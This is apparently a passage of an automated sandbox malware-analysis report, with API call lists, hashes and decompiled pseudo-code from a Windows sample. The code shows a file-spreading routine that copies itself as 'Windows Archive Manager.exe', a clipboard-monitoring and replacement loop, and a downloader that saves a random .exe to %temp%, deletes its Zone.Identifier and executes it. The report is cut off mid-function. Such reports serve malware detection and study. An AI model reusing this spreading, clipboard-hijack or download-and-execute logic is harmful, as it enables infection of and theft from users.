Part of subcall function 0040565A: FindFirstFileW.KERNEL32(*.*,?), ref: 0040569F
Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(?), ref: 004056E0
Part of subcall function 0040565A: SetCurrentDirectoryW.KERNEL32(00408834), ref: 004056F5
Part of subcall function 0040565A: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00405717
Part of subcall function 0040565A: CharLowerW.USER32(?), ref: 004057B1
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 004057E6
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 00405826
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 00405866
Part of subcall function 0040565A: Sleep.KERNEL32(000003E8), ref: 004058A6
Part of subcall function 0040565A: PathFindFileNameW.SHLWAPI(?), ref: 004058F5
Part of subcall function 0040565A: SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040592B
Part of subcall function 0040565A: DeleteFileW.KERNEL32(00000000), ref: 00405937
Part of subcall function 0040565A: Sleep.KERNEL32(000001F4), ref: 00405942
Part of subcall function 0040565A: CopyFileW.KERNEL32(0040ABD0,?,00000000), ref: 00405956
Part of subcall function 0040565A: Sleep.KERNEL32(00000064), ref: 0040595E
Part of subcall function 0040565A: Sleep.KERNEL32(00000064), ref: 0040596B
Part of subcall function 0040565A: FindNextFileW.KERNEL32(000000FF,?), ref: 0040597E
Part of subcall function 0040565A: FindClose.KERNEL32(000000FF), ref: 00405992

ExitThread.KERNEL32 ref: 00405AEA

Strings

%temp%, xrefs: 00405A19
%ls\Windows Archive Manager.exe, xrefs: 00405A4A

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: File$Sleep$memset$Find$CurrentDirectoryName$AttributesCopyDrivePathStrings$CharCloseCountDeleteEnvironmentExitExpandFirstFullLogicalLowerModuleNextThreadTickType_snwprintfsrand
String ID: %ls\Windows Archive Manager.exe$%temp%
API String ID: 1841508737-3630328173
Opcode ID: 4b9fa4d395fc75d884956f2071cad487a2af5cbb5911a931948c3e4ec5e35662
Instruction ID: 384b222016e82c51685bef263c36a0e67f7bc684dccb62e7df86f1299906c7ad
Opcode Fuzzy Hash: 4b9fa4d395fc75d884956f2071cad487a2af5cbb5911a931948c3e4ec5e35662
Instruction Fuzzy Hash: 96317771E8030567EB60AB509C4AF9B3778DB10701F1042B6F759F51D2EA78AA948F3D

Uniqueness

Uniqueness Score: 100.00%

Function 004032DD, Relevance: 10.6, APIs: 7, Instructions: 91comsleepUNIQUE

APIs

CoInitialize.OLE32(00000000), ref: 004032EB
CoCreateInstance.OLE32(0040726C,00000000,00000001,0040725C,?), ref: 00403303
VariantInit.OLEAUT32(?), ref: 0040331A
VariantInit.OLEAUT32(?), ref: 00403355
VariantInit.OLEAUT32(?), ref: 0040336C
Sleep.KERNEL32(000003E8), ref: 004033AB
CoUninitialize.OLE32 ref: 004033C7

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: InitVariant$CreateInitializeInstanceSleepUninitialize
String ID:
API String ID: 4283135408-0
Opcode ID: 2384178dfcd92cfacc6c03ac09a1f538801f965f76ffb1efdbdc7117a962b39c
Instruction ID: 7d5b17cda0f51007006bf27e4e8bb3eab08387f6cfe3fd51f31b93a4f534113c
Opcode Fuzzy Hash: 2384178dfcd92cfacc6c03ac09a1f538801f965f76ffb1efdbdc7117a962b39c
Instruction Fuzzy Hash: AC31D235D102189FDB01EFA8D949ADEBBB9FF0D311F105066F901FB2A0D7B1AA448B65

Uniqueness

Uniqueness Score: 100.00%

Function 004054CE, Relevance: 9.0, APIs: 6, Instructions: 27
clipboardsleepCOMMON

C-Code - Quality: 100%

			E004054CE() {
				char* _v8;
				void* _v12;

				L1:
				while(1) {
					if(OpenClipboard(0) == 0) {
						L6:
						Sleep(0xc8);
						continue;
					}
					_v12 = GetClipboardData(1);
					if(_v12 != 0) {
						_v8 = GlobalLock(_v12);
						if(_v8 != 0) {
							GlobalUnlock(_v12);
							E004050C2(_v8);
						}
					}
					CloseClipboard();
					goto L6;
				}
			}

0x00000000
0x004054d3
0x004054dd
0x0040551a
0x0040551f
0x00000000
0x0040551f
0x004054e7
0x004054ee
0x004054f9
0x00405500
0x00405505
0x0040550e
0x00405513
0x00405500
0x00405514
0x00000000
0x00405514

APIs

OpenClipboard.USER32(00000000), ref: 004054D5
GetClipboardData.USER32(00000001), ref: 004054E1
GlobalLock.KERNEL32(00000000), ref: 004054F3
GlobalUnlock.KERNEL32(00000000), ref: 00405505

Part of subcall function 004050C2: isalpha.MSVCRT ref: 004052AF
Part of subcall function 004050C2: isdigit.MSVCRT ref: 004052C3
Part of subcall function 004050C2: GlobalAlloc.KERNEL32(00002002,?), ref: 00405476
Part of subcall function 004050C2: GlobalLock.KERNEL32(?), ref: 00405482
Part of subcall function 004050C2: memcpy.MSVCRT ref: 00405496
Part of subcall function 004050C2: GlobalUnlock.KERNEL32(?), ref: 004054A1
Part of subcall function 004050C2: OpenClipboard.USER32(00000000), ref: 004054A9
Part of subcall function 004050C2: EmptyClipboard.USER32 ref: 004054B3
Part of subcall function 004050C2: SetClipboardData.USER32(00000001,?), ref: 004054BE
Part of subcall function 004050C2: CloseClipboard.USER32 ref: 004054C4

CloseClipboard.USER32 ref: 00405514
Sleep.KERNEL32(000000C8), ref: 0040551F

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptySleepisalphaisdigitmemcpy
String ID:
API String ID: 2966092340-0
Opcode ID: 6d235a4399c6ed78e20c63f5cca51e557ee0ad5077fa87bede83529db46c54f6
Instruction ID: c6e364a19f3dac1dbbbe27c5ca4bcb36d05d15dff5ff7497a1fed5ff7d3be0b3
Opcode Fuzzy Hash: 6d235a4399c6ed78e20c63f5cca51e557ee0ad5077fa87bede83529db46c54f6
Instruction Fuzzy Hash: 29F03A30804604FFDB006FB0DD0DB9E7E34EB04306F104175E101752E1CB791A80DE6A

Uniqueness

Uniqueness Score: 1.51%

Function 0002158A, Relevance: 3.9, Strings: 3, Instructions: 172UNIQUE

Strings

), xrefs: 000215C9
t, xrefs: 0002163C
!-M, xrefs: 00021732

Memory Dump Source

Source File: 00000001.00000002.324344684.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20000_vnc.jbxd

Similarity

API ID:
String ID: !-M$)$t
API String ID: 0-3395033134
Opcode ID: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction ID: 667e54f300c36ccd4e8484a146da7c101db8160e2100f7db772f052404a87aa9
Opcode Fuzzy Hash: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction Fuzzy Hash: B15179721183A19FCB278B74D85A6E53FA0AF63374B1903C9D4A28F5D3E3259143CB41

Uniqueness

Uniqueness Score: 100.00%

Function 0040D000, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

APIs

GetLocaleInfoA.KERNEL32 ref: 0040D00C

Memory Dump Source

Source File: 00000001.00000002.324527122.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40d000_vnc.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction ID: 7563f55c4f9bbdcef76628da80b370f672028dd7e15f4a8e9ea682cd1bea7043
Opcode Fuzzy Hash: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction Fuzzy Hash: C5F0B4B2900A029AE730DF66DC4297BB7F8EF5435D710803FE456D15E1DB3CE54A9A08

Uniqueness

Uniqueness Score: 0.00%

Function 004016C7, Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

APIs

recv.WS2_32(?,00000000,00000000,00000000), ref: 004016E5

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 43cdc93d2138539818e7b7d39d6abcaf7b6064fc8f9f0f11a24ad7ac9d55115f
Instruction ID: 0d5d3be1602bef185a80498b06d6d046b14eeb3a2a900fb19b69acceb0e0a9ac
Opcode Fuzzy Hash: 43cdc93d2138539818e7b7d39d6abcaf7b6064fc8f9f0f11a24ad7ac9d55115f
Instruction Fuzzy Hash: 39F0F971910249FFDF10CFA8CD45B9E7BB4FB04315F244969E811E32A1D3B59A50EB58

Uniqueness

Uniqueness Score: 0.03%

Function 0040E6CE, Relevance: .4, Instructions: 384COMMON

Memory Dump Source

Source File: 00000001.00000002.324527122.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40d000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 3f1368360bc63a00940a53fe7bf4977eb3bb5925c12a3b4f9f1a0e9772d25fd4
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 9FD16973D1E9B30AC775816E406862BEE626FD165031ECBB29CD03F3C9923E9D149AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040E2AE, Relevance: .4, Instructions: 378COMMON

Memory Dump Source

Source File: 00000001.00000002.324527122.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40d000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 742966dcffa90f0ccd095b14587d3770e6b458e28732fa30f4ca6a1d24030618
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: D4D16973D1E9B30AC735816E406852BEE626FD165431ECBF28CA03F3C9923E9C159AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DEA2, Relevance: .4, Instructions: 361COMMON

Memory Dump Source

Source File: 00000001.00000002.324527122.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40d000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 7fca493d879a62e6918e710b23eb95b4d266cc73d089ae5d791de806530453cb
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 42C17A73D1E9B30AC736816E405862BEE626FD165431ECBB28CD03F3C9963E9C1899D4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DACE, Relevance: .4, Instructions: 351COMMON

Memory Dump Source

Source File: 00000001.00000002.324527122.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40d000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: ce88f9485176d4875145ff3ea6bfcb71f8838c56104a01cd68228ac215d480a9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 90C16A73D1E9B30AC73681AD445862BEE626FD165432EC7B28C903F3C9D63E9D0899D4

Uniqueness

Uniqueness Score: 0.00%

Function 00404716, Relevance: .3, Instructions: 303
COMMONCrypto

C-Code - Quality: 100%

			E00404716(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int* _t334;

				_v24 =  *_a4;
				_v20 = _a4[1];
				_v16 = (_v24 >> 0x00000004 ^ _v20) & 0x0f0f0f0f;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000004 ^ _v24;
				_v16 = (_v24 >> 0x00000010 ^ _v20) & 0x0000ffff;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000010 ^ _v24;
				_v16 = (_v20 >> 0x00000002 ^ _v24) & 0x33333333;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000002 ^ _v20;
				_v16 = (_v20 >> 0x00000008 ^ _v24) & 0x00ff00ff;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000008 ^ _v20;
				_v20 = _v20 << 0x00000001 | _v20 >> 0x0000001f & 0x00000001;
				_v16 = (_v24 ^ _v20) & 0xaaaaaaaa;
				_v24 = _v24 ^ _v16;
				_v20 = _v20 ^ _v16;
				_v24 = _v24 << 0x00000001 | _v24 >> 0x0000001f & 0x00000001;
				_v12 = _v12 & 0x00000000;
				while(_v12 < 8) {
					_v16 = _v20 << 0x0000001c | _v20 >> 0x00000004;
					_v16 = _v16 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 =  *((intOrPtr*)(0x40a7a8 + (_v16 & 0x0000003f) * 4));
					_v8 = _v8 |  *(0x40a5a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a3a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a1a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v16 = _v20 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 = _v8 |  *(0x40a8a8 + (_v16 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a6a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a4a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a2a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v24 = _v24 ^ _v8;
					_v16 = _v24 << 0x0000001c | _v24 >> 0x00000004;
					_v16 = _v16 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 =  *((intOrPtr*)(0x40a7a8 + (_v16 & 0x0000003f) * 4));
					_v8 = _v8 |  *(0x40a5a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a3a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a1a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v16 = _v24 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 = _v8 |  *(0x40a8a8 + (_v16 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a6a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a4a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a2a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v20 = _v20 ^ _v8;
					_v12 = _v12 + 1;
				}
				_v20 = _v20 << 0x0000001f | _v20 >> 0x00000001;
				_v16 = (_v24 ^ _v20) & 0xaaaaaaaa;
				_v24 = _v24 ^ _v16;
				_v20 = _v20 ^ _v16;
				_v24 = _v24 << 0x0000001f | _v24 >> 0x00000001;
				_v16 = (_v24 >> 0x00000008 ^ _v20) & 0x00ff00ff;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000008 ^ _v24;
				_v16 = (_v24 >> 0x00000002 ^ _v20) & 0x33333333;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000002 ^ _v24;
				_v16 = (_v20 >> 0x00000010 ^ _v24) & 0x0000ffff;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000010 ^ _v20;
				_v16 = (_v20 >> 0x00000004 ^ _v24) & 0x0f0f0f0f;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000004 ^ _v20;
				 *_a4 = _v20;
				_a4 =  &(_a4[1]);
				_t334 = _a4;
				 *_t334 = _v24;
				return _t334;
			}

0x00404721
0x0040472a
0x0040473b
0x00404744
0x00404750
0x00404761
0x0040476a
0x00404776
0x00404787
0x00404790
0x0040479c
0x004047ad
0x004047b6
0x004047c2
0x004047d5
0x004047e3
0x004047ec
0x004047f5
0x00404808
0x0040480b
0x00404818
0x00404830
0x0040483b
0x00404844
0x00404854
0x0040486a
0x00404880
0x00404896
0x004048a1
0x004048aa
0x004048bd
0x004048d3
0x004048e9
0x004048ff
0x00404908
0x00404919
0x00404924
0x0040492d
0x0040493d
0x00404953
0x00404969
0x0040497f
0x0040498a
0x00404993
0x004049a6
0x004049bc
0x004049d2
0x004049e8
0x004049f1
0x00404815
0x00404815
0x00404a06
0x00404a14
0x00404a1d
0x00404a26
0x00404a36
0x00404a47
0x00404a50
0x00404a5c
0x00404a6d
0x00404a76
0x00404a82
0x00404a93
0x00404a9c
0x00404aa8
0x00404ab9
0x00404ac2
0x00404ace
0x00404ad7
0x00404adf
0x00404ae2
0x00404ae8
0x00404aeb

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd64f225115594afbc79f987211180f457aebf0ef1649353de52f1f794cb4b6a
Instruction ID: 14ec897d9178e52ff913172af6fc66b79df72866a3450b45997323dd1d4e672f
Opcode Fuzzy Hash: bd64f225115594afbc79f987211180f457aebf0ef1649353de52f1f794cb4b6a
Instruction Fuzzy Hash: CFE159B5E10259AFDB44CF9CD981AAEB7F0FB48300B54856AE429EB340D734AB12DF15

Uniqueness

Uniqueness Score: 0.00%

Function 00404811, Relevance: .1, Instructions: 142
COMMONCrypto

C-Code - Quality: 100%

			E00404811() {
				signed int* _t225;
				void* _t340;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t340 - 8)) =  *((intOrPtr*)(_t340 - 8)) + 1;
					L1:
					if( *((intOrPtr*)(_t340 - 8)) < 8) {
						L2:
						 *(_t340 - 0xc) =  *(_t340 - 0x10) << 0x0000001c |  *(_t340 - 0x10) >> 0x00000004;
						 *(_t340 - 0xc) =  *(_t340 - 0xc) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(0x40a7a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a5a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a3a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a1a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x10) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a8a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a6a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a4a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a2a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x14) << 0x0000001c |  *(_t340 - 0x14) >> 0x00000004;
						 *(_t340 - 0xc) =  *(_t340 - 0xc) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(0x40a7a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a5a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a3a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a1a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x14) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a8a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a6a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a4a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a2a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 4);
						continue;
					}
					L3:
					 *(_t340 - 0x10) =  *(_t340 - 0x10) << 0x0000001f |  *(_t340 - 0x10) >> 0x00000001;
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) ^  *(_t340 - 0x10)) & 0xaaaaaaaa;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0x14) << 0x0000001f |  *(_t340 - 0x14) >> 0x00000001;
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) >> 0x00000008 ^  *(_t340 - 0x10)) & 0x00ff00ff;
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0xc) << 0x00000008 ^  *(_t340 - 0x14);
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) >> 0x00000002 ^  *(_t340 - 0x10)) & 0x33333333;
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0xc) << 0x00000002 ^  *(_t340 - 0x14);
					 *(_t340 - 0xc) = ( *(_t340 - 0x10) >> 0x00000010 ^  *(_t340 - 0x14)) & 0x0000ffff;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0xc) << 0x00000010 ^  *(_t340 - 0x10);
					 *(_t340 - 0xc) = ( *(_t340 - 0x10) >> 0x00000004 ^  *(_t340 - 0x14)) & 0x0f0f0f0f;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0xc) << 0x00000004 ^  *(_t340 - 0x10);
					 *( *(_t340 + 8)) =  *(_t340 - 0x10);
					 *(_t340 + 8) =  &(( *(_t340 + 8))[1]);
					_t225 =  *(_t340 + 8);
					 *_t225 =  *(_t340 - 0x14);
					return _t225;
					L4:
				}
			}

0x00404811
0x00404811
0x00404811
0x00404815
0x00404818
0x0040481c
0x00404822
0x00404830
0x0040483b
0x00404844
0x00404854
0x0040486a
0x00404880
0x00404896
0x004048a1
0x004048aa
0x004048bd
0x004048d3
0x004048e9
0x004048ff
0x00404908
0x00404919
0x00404924
0x0040492d
0x0040493d
0x00404953
0x00404969
0x0040497f
0x0040498a
0x00404993
0x004049a6
0x004049bc
0x004049d2
0x004049e8
0x004049f1
0x00000000
0x004049f1
0x004049f9
0x00404a06
0x00404a14
0x00404a1d
0x00404a26
0x00404a36
0x00404a47
0x00404a50
0x00404a5c
0x00404a6d
0x00404a76
0x00404a82
0x00404a93
0x00404a9c
0x00404aa8
0x00404ab9
0x00404ac2
0x00404ace
0x00404ad7
0x00404adf
0x00404ae2
0x00404ae8
0x00404aeb
0x00000000
0x00404aeb

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f351e31099eec7b115a4075528beb9fa58c7b80c4a95bc80ee7d51d0f9fb6c99
Instruction ID: 6d43799bb6d581dfe3dd7ad2f79a6606b6df30ddacbac08adfda024078033c92
Opcode Fuzzy Hash: f351e31099eec7b115a4075528beb9fa58c7b80c4a95bc80ee7d51d0f9fb6c99
Instruction Fuzzy Hash: 97614075D10248EFDB08CF88D99299CB7F1FB59300B5481AAE56AAB350DB34AB12DF05

Uniqueness

Uniqueness Score: 0.00%

Function 00020C9F, Relevance: .0, Instructions: 38COMMON

Memory Dump Source

Source File: 00000001.00000002.324344684.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20000_vnc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 497219795e5702323352ba5b8e24cf6847f2108543f2b84c769f7eff021c4de5
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: A2F0CDB6A012248FDB21CF64E849BAE73FAFB84305F2441A5D90AD7242E330A9418B90

Uniqueness

Uniqueness Score: 0.00%

Function 0040436A, Relevance: 79.0, APIs: 38, Strings: 7, Instructions: 243
filenetworksleepUNIQUE

C-Code - Quality: 52%

			E0040436A(void* _a4) {
				void _v524;
				short _v1044;
				signed int _v1045;
				void* _v1052;
				short _v1572;
				void _v2076;
				void* _v2080;
				short _v2604;
				long _v2608;
				long _v2612;
				void* _v2616;
				short _v3140;
				signed int _t95;
				signed int _t97;
				signed int _t99;
				signed int _t108;
				signed int _t110;
				signed int _t112;
				WCHAR* _t117;
				signed int _t146;
				void* _t173;
				void* _t182;

				_t146 = 0x7d;
				memcpy( &_v2076, _a4, _t146 << 2);
				_v1045 = 0;
				memset( &_v3140, 0, 0x208);
				memset( &_v1044, 0, 0x208);
				memset( &_v524, 0, 0x208);
				memset( &_v2604, 0, 0x208);
				memset( &_v1572, 0, 0x208);
				_push( &_v2076);
				_push(L"%hs");
				_push(0x208);
				_push( &_v1572);
				L00401030();
				ExpandEnvironmentStringsW(L"%temp%",  &_v1044, 0x208);
				srand(GetTickCount());
				memset( &_v3140, 0, 0x208);
				_t95 = rand();
				asm("cdq");
				_push(_t95 % 0xea60 + 0x2710);
				_t97 = rand();
				asm("cdq");
				_push(_t97 % 0xea60 + 0x2710);
				_t99 = rand();
				asm("cdq");
				_push(_t99 % 0xea60 + 0x2710);
				_push( &_v1044);
				_push(L"%ls\\%d%d%d.exe");
				_push(0x208);
				_push( &_v3140);
				L00401030();
				_t182 = _t173 + 0x80;
				_v2616 = InternetOpenW(L"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0", 0, 0, 0, 0);
				if(_v2616 == 0) {
					L10:
					InternetCloseHandle(_v2616);
					Sleep(0x1f4);
					if((_v1045 & 0x000000ff) == 0) {
						memset( &_v3140, 0, 0x208);
						_t108 = rand();
						asm("cdq");
						_push(_t108 % 0xea60 + 0x2710);
						_t110 = rand();
						asm("cdq");
						_push(_t110 % 0xea60 + 0x2710);
						_t112 = rand();
						asm("cdq");
						_push(_t112 % 0xea60 + 0x2710);
						_push( &_v1044);
						_push(L"%ls\\%d%d%d.exe");
						_push(0x208);
						_push( &_v3140);
						L00401030();
						_push(0);
						_push(0);
						_push( &_v3140);
						_t117 =  &_v1572;
						_push(_t117);
						_push(0);
						L0040121C();
						if(_t117 != 0) {
							memset( &_v2604, 0, 0x208);
							_push( &_v3140);
							_push(L"%ls:Zone.Identifier");
							_push(0x208);
							_push( &_v2604);
							L00401030();
							DeleteFileW( &_v2604);
							Sleep(0x1f4);
							E004035DF( &_v3140);
						}
					}
					ExitThread(0);
				}
				_v1052 = InternetOpenUrlW(_v2616,  &_v1572, 0, 0, 0, 0);
				if(_v1052 == 0) {
					L9:
					InternetCloseHandle(_v1052);
					goto L10;
				}
				_v2080 = CreateFileW( &_v3140, 0x40000000, 0, 0, 2, 0, 0);
				if(_v2080 == 0xffffffff) {
					L8:
					CloseHandle(_v2080);
					goto L9;
				} else {
					goto L3;
				}
				goto L8;
				L3:
				if(InternetReadFile(_v1052,  &_v524, 0x207,  &_v2612) == 0 || _v2612 == 0) {
					CloseHandle(_v2080);
					_push( &_v3140);
					_push(L"%ls:Zone.Identifier");
					_push(0x208);
